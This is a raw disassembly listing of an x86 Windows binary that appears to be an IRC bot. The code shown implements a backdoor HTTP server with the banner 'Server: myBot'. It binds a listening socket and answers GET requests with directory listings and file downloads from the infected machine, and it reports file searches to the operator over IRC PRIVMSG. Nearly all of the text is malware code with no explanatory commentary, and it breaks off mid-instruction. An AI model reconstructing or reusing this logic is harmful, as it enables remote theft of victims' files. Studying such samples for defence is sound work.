push 0 push edi push eax push dword_4D103C call dword_428220 ; send push 1 call dword_428080 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40FD67 pop edi loc_40FD9F: ; CODE XREF: sub_40FD24+3Bj push esi call sub_41B6CB pop ecx push dword_4D103C call dword_428218 ; closesocket call dword_4281EC ; WSACleanup xor eax, eax inc eax loc_40FDBB: ; CODE XREF: sub_40FD24+35j pop esi leave retn sub_40FD24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDBE proc near ; DATA XREF: sub_401AA1+21D6o ; sub_40BC0C+46Co var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_41BC00 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CE308 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CE388 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_410184 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_441254[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CE334 ; bind cmp eax, 0FFFFFFFFh jz loc_410184 push 7FFFFFFFh push edi call dword_4CE330 ; listen cmp eax, 0FFFFFFFFh jz loc_410184 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CE3A4 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_410184 mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_40FE95: ; CODE XREF: sub_40FDBE+3BCj push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CE2F0 ; select cmp eax, 0FFFFFFFFh jz loc_41017F xor edi, edi mov [ebp+arg_0], edi loc_40FECB: ; CODE XREF: sub_40FDBE+3B6j lea eax, [ebp+var_6F0] push eax push edi call dword_4CE1F4 ; __WSAFDIsSet test eax, eax jz loc_41016A cmp edi, [ebp+var_8] jnz short loc_40FF4C lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_4CE39C ; accept cmp eax, 0FFFFFFFFh jz loc_41016A xor ecx, ecx test ebx, ebx jbe short loc_40FF1E loc_40FF10: ; CODE XREF: sub_40FDBE+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_40FF1E inc ecx cmp ecx, ebx jb short loc_40FF10 loc_40FF1E: ; CODE XREF: sub_40FDBE+150j ; sub_40FDBE+159j cmp ecx, ebx jnz short loc_40FF3B cmp ebx, 40h jnb short loc_40FF3B mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_40FF3B: ; CODE XREF: sub_40FDBE+162j ; sub_40FDBE+167j cmp eax, [ebp+var_4] jbe loc_41016A mov [ebp+var_4], eax jmp loc_41016A ; --------------------------------------------------------------------------- loc_40FF4C: ; CODE XREF: sub_40FDBE+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_41BC00 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BC00 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call dword_4CE320 ; recv test eax, eax jg short loc_40FFD3 push edi call dword_4CE3A0 ; closesocket xor eax, eax test ebx, ebx jbe loc_41016A loc_40FF98: ; CODE XREF: sub_40FDBE+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_40FFC0 inc eax cmp eax, ebx jb short loc_40FF98 jmp loc_41016A ; --------------------------------------------------------------------------- loc_40FFAB: ; CODE XREF: sub_40FDBE+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40FFC0: ; CODE XREF: sub_40FDBE+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40FFAB dec ebx mov [ebp+var_128], ebx jmp loc_41016A ; --------------------------------------------------------------------------- loc_40FFD3: ; CODE XREF: sub_40FDBE+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BC00 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_41B650 add esp, 10h test eax, eax jbe loc_41016A loc_410000: ; CODE XREF: sub_40FDBE+2F9j mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_4100A6 mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_410076 lea eax, [ebp+var_18F0] push eax call sub_41B650 cmp eax, 5 pop ecx jbe short loc_410076 mov eax, offset asc_42F5E8 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41BF70 pop ecx pop ecx push eax call sub_41BF70 pop ecx pop ecx push eax call sub_41C764 push eax lea eax, [ebp+var_23C] push eax call sub_41C520 add esp, 10h jmp short loc_41008D ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FDBE+26Ej ; sub_40FDBE+280j lea eax, [ebp+var_18F0] push offset asc_436F68 ; "\r\n" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_4100C2 loc_41008D: ; CODE XREF: sub_40FDBE+2B6j push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_41BC00 add esp, 0Ch or esi, 0FFFFFFFFh loc_4100A6: ; CODE XREF: sub_40FDBE+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_41B650 cmp edi, eax pop ecx jb loc_410000 jmp loc_41016A ; --------------------------------------------------------------------------- loc_4100C2: ; CODE XREF: sub_40FDBE+2CDj xor eax, eax test ebx, ebx jbe short loc_4100FE loc_4100C8: ; CODE XREF: sub_40FDBE+319j mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_4100F0 inc eax cmp eax, ebx jb short loc_4100C8 jmp short loc_4100FE ; --------------------------------------------------------------------------- loc_4100DB: ; CODE XREF: sub_40FDBE+337j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_4100F0: ; CODE XREF: sub_40FDBE+314j lea ecx, [ebx-1] cmp eax, ecx jb short loc_4100DB dec ebx mov [ebp+var_128], ebx loc_4100FE: ; CODE XREF: sub_40FDBE+308j ; sub_40FDBE+31Bj lea eax, [ebp+var_360] push eax call sub_41B650 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_41B650 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_410161 and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call dword_4CE3A4 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_410370 add esp, 14h jmp short loc_41016A ; --------------------------------------------------------------------------- loc_410161: ; CODE XREF: sub_40FDBE+364j push [ebp+arg_0] call dword_4CE3A0 ; closesocket loc_41016A: ; CODE XREF: sub_40FDBE+11Dj ; sub_40FDBE+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_40FECB jmp loc_40FE95 ; --------------------------------------------------------------------------- loc_41017F: ; CODE XREF: sub_40FDBE+102j mov edi, [ebp+var_8] xor ebx, ebx loc_410184: ; CODE XREF: sub_40FDBE+6Aj ; sub_40FDBE+92j ... call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_436F2C push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_4101CA push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409743 add esp, 14h loc_4101CA: ; CODE XREF: sub_40FDBE+3E7j lea eax, [ebp+var_8F0] push eax call sub_415F45 pop ecx push edi call dword_4CE3A0 ; closesocket push [ebp+var_254] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread pop edi pop esi pop ebx sub_40FDBE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101F4 proc near ; DATA XREF: sub_410370+245o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C190 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41BEF6 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41BEF6 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi lea eax, [ebp+var_9C] jz short loc_41025F push offset aTextHtml ; "text/html" jmp short loc_410264 ; --------------------------------------------------------------------------- loc_41025F: ; CODE XREF: sub_4101F4+62j push offset aApplicationOct ; "application/octet-stream" loc_410264: ; CODE XREF: sub_4101F4+69j push eax call sub_41BEF6 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_428114 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_428110 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_9C] jnz short loc_4102D7 push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41BEF6 add esp, 24h jmp short loc_4102F2 ; --------------------------------------------------------------------------- loc_4102D7: ; CODE XREF: sub_4101F4+CAj push [ebp+var_B8] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41BEF6 add esp, 28h loc_4102F2: ; CODE XREF: sub_4101F4+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CE358 ; send cmp [ebp+var_A4], edi jnz short loc_410332 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_410CA0 pop ecx pop ecx jmp short loc_41034F ; --------------------------------------------------------------------------- loc_410332: ; CODE XREF: sub_4101F4+126j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41061F add esp, 10h loc_41034F: ; CODE XREF: sub_4101F4+13Cj push [ebp+var_44C] call dword_4CE3A0 ; closesocket push [ebp+var_B4] call sub_40B56A pop ecx push edi call dword_4280D4 ; ExitThread pop edi pop esi sub_4101F4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410370 proc near ; CODE XREF: sub_40FDBE+399p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BC00 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_4103A6 push offset aS_5 ; "\\%s" jmp short loc_4103AE ; --------------------------------------------------------------------------- loc_4103A6: ; CODE XREF: sub_410370+2Dj mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_4103AE: ; CODE XREF: sub_410370+34j lea eax, [ebp+var_10C] push eax call sub_41BEF6 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B650 test eax, eax pop ecx jbe short loc_410449 mov [ebp+arg_8], 2 loc_4103D9: ; CODE XREF: sub_410370+D7j lea eax, [ebp+var_10C] push eax call sub_41B650 cmp [ebp+arg_8], eax pop ecx jnb short loc_410419 cmp [ebp+esi+var_10C], 25h jnz short loc_410419 cmp [ebp+esi+var_10B], 32h jnz short loc_410419 cmp [ebp+esi+var_10A], 30h jnz short loc_410419 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410433 ; --------------------------------------------------------------------------- loc_410419: ; CODE XREF: sub_410370+79j ; sub_410370+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_410429 push 5Ch pop eax jmp short loc_41042C ; --------------------------------------------------------------------------- loc_410429: ; CODE XREF: sub_410370+B2j movsx eax, al loc_41042C: ; CODE XREF: sub_410370+B7j mov [ebp+ebx+var_210], al loc_410433: ; CODE XREF: sub_410370+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B650 cmp esi, eax pop ecx jb short loc_4103D9 loc_410449: ; CODE XREF: sub_410370+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_42B478 push eax call sub_41BEF6 lea eax, [ebp+var_314] push offset asc_42BDD8 ; "\n" push eax call sub_41C764 add esp, 18h lea eax, [ebp+var_314] push eax call dword_4280A0 ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_410497 cmp eax, 0FFFFFFFFh jnz short loc_41049A push [ebp+arg_0] jmp short loc_410516 ; --------------------------------------------------------------------------- loc_410497: ; CODE XREF: sub_410370+11Bj mov [ebp+var_4], esi loc_41049A: ; CODE XREF: sub_410370+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4104A7 mov [ebp+var_4], esi loc_4104A7: ; CODE XREF: sub_410370+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_410521 cmp [ebp+arg_C], edi jz short loc_410515 lea eax, [ebp+var_314] push offset asc_43721C ; "*" push eax call sub_41C530 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41BEF6 lea eax, [ebp+var_210] push eax call sub_410D5D lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41BEF6 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_410570 ; --------------------------------------------------------------------------- loc_410515: ; CODE XREF: sub_410370+14Ej push ebx loc_410516: ; CODE XREF: sub_410370+125j call dword_4CE3A0 ; closesocket jmp loc_410606 ; --------------------------------------------------------------------------- loc_410521: ; CODE XREF: sub_410370+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_4280F8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410570 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41BEF6 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_428118 ; GetFileSize push esi mov [ebp+var_330], eax call dword_428070 ; CloseHandle loc_410570: ; CODE XREF: sub_410370+1A3j ; sub_410370+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_4371D8 push eax call sub_41BEF6 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B254 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_44124C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_4101F4 push edi push edi call dword_428084 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_44125C[ecx], eax jnz short loc_410615 push ebx call dword_4CE3A0 ; closesocket call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_437190 push eax call sub_41BEF6 lea eax, [ebp+var_8C4] push eax call sub_415F45 add esp, 10h loc_410606: ; CODE XREF: sub_410370+1ACj ; sub_410370+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_41060D: ; CODE XREF: sub_410370+2ABj push 5 call dword_428080 ; Sleep loc_410615: ; CODE XREF: sub_410370+266j cmp [ebp+var_318], edi jz short loc_41060D jmp short loc_410606 sub_410370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41061F proc near ; CODE XREF: sub_401AA1+7555p ; sub_4101F4+153p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BC00 mov edi, [ebp+arg_0] push offset asc_42BDD8 ; "\n" push edi call sub_41C764 add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_41067E push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41BFF0 add esp, 14h jmp loc_41077A ; --------------------------------------------------------------------------- loc_41067E: ; CODE XREF: sub_41061F+3Bj cmp [ebp+arg_C], ebx jz loc_410760 call sub_41B650 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send push edi call sub_41B650 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 0Ch jmp short loc_41077A ; --------------------------------------------------------------------------- loc_410760: ; CODE XREF: sub_41061F+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 10h loc_41077A: ; CODE XREF: sub_41061F+5Aj ; sub_41061F+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send cmp [ebp+arg_C], ebx jz short loc_410812 push [ebp+arg_C] call sub_41B650 cmp eax, 2 pop ecx jbe short loc_410812 push [ebp+arg_C] call sub_41B650 sub eax, 3 pop ecx jz short loc_4107C6 loc_4107BA: ; CODE XREF: sub_41061F+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4107C6 dec eax jnz short loc_4107BA loc_4107C6: ; CODE XREF: sub_41061F+199j ; sub_41061F+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BC60 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send loc_410812: ; CODE XREF: sub_41061F+17Dj ; sub_41061F+18Bj lea eax, [ebp+var_388] push eax push edi call dword_428128 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_428124 ; FindNextFileA test eax, eax jz loc_410C09 mov edi, 1FFh loc_41083E: ; CODE XREF: sub_41061F+5E4j cmp [ebp+var_388], ebx jz loc_410BF1 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_410BF1 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_410BF1 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_428000 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_428120 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja loc_41093B mov ecx, offset aAm ; "AM" movzx eax, ax loc_4108BA: ; CODE XREF: sub_41061F+322j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41BEF6 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_410A72 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410946 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41BFF0 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41BFF0 add esp, 28h jmp loc_410BC2 ; --------------------------------------------------------------------------- loc_41093B: ; CODE XREF: sub_41061F+28Dj movzx eax, ax sub eax, 0Ch jmp loc_4108BA ; --------------------------------------------------------------------------- loc_410946: ; CODE XREF: sub_41061F+2D5j cmp [ebp+arg_C], ebx jz loc_410A30 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41BFF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_41BFF0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send lea eax, [ebp+var_35C] push eax call sub_41B650 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4109EC push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4109F1 ; --------------------------------------------------------------------------- loc_4109EC: ; CODE XREF: sub_41061F+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4109F1: ; CODE XREF: sub_41061F+3CBj push edi push eax call sub_41BFF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_410BB3 ; --------------------------------------------------------------------------- loc_410A30: ; CODE XREF: sub_41061F+32Aj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41BFF0 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_410A5D: ; CODE XREF: sub_41061F+47Bj lea eax, [ebp+var_248] push esi push eax call sub_41BFF0 add esp, 24h jmp loc_410BC2 ; --------------------------------------------------------------------------- loc_410A72: ; CODE XREF: sub_41061F+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_410A9C push ebx push [ebp+var_368] call sub_416EC1 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_410A5D ; --------------------------------------------------------------------------- loc_410A9C: ; CODE XREF: sub_41061F+459j cmp [ebp+arg_C], ebx jz loc_410B9C push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41BFF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_42B478 push edi push eax call sub_41BFF0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send lea eax, [ebp+var_35C] push eax call sub_41B650 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_410B42 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410B47 ; --------------------------------------------------------------------------- loc_410B42: ; CODE XREF: sub_41061F+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410B47: ; CODE XREF: sub_41061F+521j push edi push eax call sub_41BFF0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41BFF0 add esp, 1Ch jmp short loc_410BC2 ; --------------------------------------------------------------------------- loc_410B9C: ; CODE XREF: sub_41061F+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_410BB3: ; CODE XREF: sub_41061F+40Cj lea eax, [ebp+var_248] push eax call sub_41BFF0 add esp, 18h loc_410BC2: ; CODE XREF: sub_41061F+317j ; sub_41061F+44Ej ... lea eax, [ebp+var_248] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CE358 ; send cmp [ebp+arg_8], ebx jz short loc_410BF1 push 7D0h call dword_428080 ; Sleep loc_410BF1: ; CODE XREF: sub_41061F+225j ; sub_41061F+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_428124 ; FindNextFileA test eax, eax jnz loc_41083E loc_410C09: ; CODE XREF: sub_41061F+214j push [ebp+arg_0] call dword_42811C ; FindClose cmp [ebp+arg_8], ebx jz short loc_410C4C mov eax, [ebp+var_8] cdq push edx push eax call sub_416EC1 pop ecx pop ecx push 